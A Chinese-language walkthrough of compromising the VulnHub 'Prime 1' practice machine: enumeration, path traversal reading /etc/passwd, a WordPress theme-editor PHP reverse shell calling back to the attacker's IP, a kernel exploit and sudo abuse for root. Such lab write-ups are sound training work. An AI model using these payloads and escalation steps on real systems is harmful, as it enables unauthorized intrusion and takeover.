Prime1 靶机渗透

靶机下载地址 :https://www.vulnhub.com/entry/prime-1,358/

信息收集

目标机器ip为192.168.171.129

先快速扫描一下目标ip的端口开放情况,并将结果输出到min-rate文件里

image-20250225153823533

发现22和80端口开放,进一步搜索信息,结果输出到ports文件里

image-20250225154127029

用脚本扫描一下看看有没有漏洞

1
sudo nmap --script=vuln -p22,80 192.168.171.129 -oN vul

image-20250225155527773

22端口暂时不管,先从80端口下手,打开网页,搜寻信息(让我康康~)

image-20250225155117968

发现只有一张图片,看一下网页源码,发现没什么信息,莫得办法,dirsearch启动!

image-20250225155820498

发现了不少东西,挨个康康

/dev下为一句话,没什么信息

image-20250225160130002

/wordpress老生常谈了,较低版本的wp里会有好多可利用的漏洞

image-20250225160255635

image-20250225161203324

然后信息断了,不知道怎么办了,去网上查了一下发现我们的dirsearch的字典不够大,有一个secret.txt文件没有扫到,网上的方法是用dirb扫描

1
dirb http://192.168.171.129 -X .zip,.txt -o dirbscan

查看secret.txt文件

1
curl http://192.168.171.129/secret.txt -o secret

image-20250225163508423

提示说要用wfuzz在php文件里进行模糊参数测试,先在index.php中测试一下

1
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.171.129/index.php?FUZZ

image-20250225163806561

发现file参数,猜测应该是读取任意文件,我尝试读取shadow文件结果都是提醒你在挖掘错误文件,突然发现在secret文件里有个提示要找location.txt查询得到以下提示

image-20250225164408469

访问http://192.168.171.129/image.php?secrettier360 提示说找到正确参数了

进行文件包含http://192.168.171.129/image.php?secrettier360=../../../../../etc/passwd发现可以读取文件

1
curl 192.168.171.129/image.php?secrettier360=../../../../etc/passwd | tail -5

查看可用用户名

image-20250225171657764

文件包含该文件,得到密码

image-20250225171128918

尝试用saket:follow_the_ippsec进行wp登录和ssh连接,发现不行

也许是其他用户的密码呢?试一下,最终发现可以用victor:follow_the_ippsec进行wp后台登录,登录成功image-20250225171739873

对于进入管理界面的wp的渗透思路有两种

1.在主题获得中上传自己的shell压缩包

2.在主题编辑器中找到可写如的php文件,写入反弹shell

尝试了一下发现思路2可行并成功找到可写文件secret.php

image-20250225173901980

写入php反弹shell

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.171.128/443 0&>1'"); ?>

进行监听,成功getshell

image-20250225174622733

用户提权

whoami查看用户为www-data用户

sudo -l查看是否有suid权限的命令,发现saket目录下有个enc文件有suid权限image-20250225182146388

去saket家目录下看看有没有有用的信息

image-20250225181656944

在user.txt得到一串密文,执行一下./enc发现要输入密码,将密文输入,没有结果

没办法只能从内核漏洞下手了,

image-20250225182554727

得到版本号后searchsploit搜寻攻击脚本image-20250225182705693

发现第二个第三个是可以本地提权的,克隆到本地

image-20250225182957183

攻击端开启临时服务器传输文件

image-20250225183046529

靶机端接收文件(提前切换到/tmp路径)

image-20250225183145925

45010.c文件里有编译方法

1
gcc 45010.c -o 45010

然后运行./45010实现提权

image-20250225183824148

完结撒花

后记

从网上看了看,还有另一种解法

具体内容参考https://www.freebuf.com/articles/web/369140.html

大概思路是找到有suid权限./enc文件的密码

Prime1提权的另一种方式

查看用户权限

可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码

1686362045_6483d7bd53459b0ea4650.png!small?1686362045844

移动到/home/saket目录下,首先先查看当前目录下有哪些文件与权限。发现enc是有执行权限的,直接尝试执行需要输入密码。尝试strings能否直接查看enc内容查看不了,尝试file读取enc提示没有读的权限。

1
2
3
4
5
cd /home/saket
ls -liah
./enc
strings enc #尝试查看enc的内容
file enc #尝试直接读取enc

1686362063_6483d7cfe24c6dfcd7609.png!small?1686362064794

翻找文件

既然提示要输入密码,接下来的思路就是找敏感文件,看看能不能在关键信息。

1
2
3
4
5
6
find / -name '*backup*' 2>dev/null | sort | less

find #查找文件命令
2>dev/null #将报错文件丢除
sort #将结果排序
less #分页

1686362142_6483d81e01f9d68c690f2.png!small?1686362142719

在opt/backup文件夹尝试查看server_database,提示server_database是目录。进入server_database目录下找到backup_pass文件,通过读取文件提示enc的密码是backup_password

1686362173_6483d83d313124a42e696.png!small?1686362173759

输入密码

再次执行enc文件,将获得的密码输入进去,提示权限不足enc.txt和key.txt无法释放。我丢,一开始我还是完了www-data权限不够,后面大佬点拨没有sudo去执行,加入sudo后终于成功。

不过出现good为何会如此怪异?txt那两个文件呢?发现执行后在当前目录进行释放了两个txt文件,查看enc.txt文件看到一个base64加密内容,查看key.txt文件提示将ippsec转成md5的hash

1686362192_6483d850e2911e8418224.png!small?16863621934041686362213_6483d865989cf45cdf3bf.png!small?1686362214126

1686362234_6483d87acc5272dcc4454.png!small?1686362235311

编码加密

将ippsec不输出结尾的换行符进行md5加密,以空格为分割,打印输出第一个值

1
2
3
4
5
6
sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'

-n #不输出结尾的换行符
md5sum #md5的加密形式
awk #awk是文本处理工具
-F #以什么条件进行分割条件,本例子是用空格进行分割

1686362254_6483d88eef0b81bd93b31.png!small?1686362255802

1
2
3
4
5
6
7
8
9
sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '

-n #不输出结尾的换行符
md5sum #md5的加密形式
awk #awk是文本处理工具
-F #以什么条件进行分割条件,本例子是用空格进行分割
tr #可以对来自标准输入的字符进行替换、压缩和删除。
-d #删除字符串
最后得到ippsec md5的十六进制数

gsub(/regexp/,replacement,target可省略)

1
2
3
4
5
6
7
8
9
sudo awk '{gsub(/ /,"\n"); print}' Cipher | sort | uniq | wc -l
sudo awk '{gsub(/ /,"\n"); print}' Cipher | sort | uniq >CipherTypes

gsub #替换\\中间的内容
CipherTypeRaw #操作的文件名名称
sort #结果排序
uniq #结果取唯一值
wc -l #统计结果
>CipherTypes #是将结果输出到文件CipherTypes上

1686362490_6483d97ad7b2e0fd41e8f.png!small?1686362491430

1
echo 密文 | openssl enc -d -a -加密方法 -K 密匙
1
2
3
for Cipher in $(cat 加密方法文件);do echo  '密文' | openssl enc -d -a -$Cipher -K 秘钥 2>/dev/null ;echo $Cipher;done 

for Cipher in $(cat CipherTypes);do echo -n 'xxxxxxxxxxxx' | openssl enc -d -a -$Cipher -K xxxxxxxxxxxxx 2>/dev/null ; echo $Cipher;done

最后得到saket旧密码为tribut_to_ippsec

远程连接一下

内网提权

查看系统详情

1
uname -a

1686362724_6483da642dee11f51e2d8.png!small?1686362724831

查看用户权限

发现可以不需要密码以root权限去执行一个/home/victor/undefeated_victor文件

1
sudo -l

1686362760_6483da88b709beda37f93.png!small?1686362761234

查看定时任务

1
cat etc/crontab

1686362780_6483da9c02b93b5ccbb2e.png!small?1686362780380

成功提权

提示/tmp/challenge文件没有找到

1
sudo /home/victor/undefeated_victor

1686362818_6483dac20cd258aeb621a.png!small?1686362818907

来到/tmp目录下查看是否有challenge文件,发现没有challenge文件。于是新建一个challenge文件,在文件中写启用一个新的bash线程命令。对文件challenge赋予执行权限,再利用前面提醒的“不需要密码以root权限去执行一个/home/victor/undefeated_victor文件”再执行文件,就获得了root权限。

1
2
3
4
5
6
cd /tmp
echo '#!/bin/bash' >challenge
echo '/bin/bash' >>challenge
chmod +x challenge
sudo /home/victor/undefeated_victor
whoami

1686362838_6483dad61f9f31c92aa81.png!small?1686362838680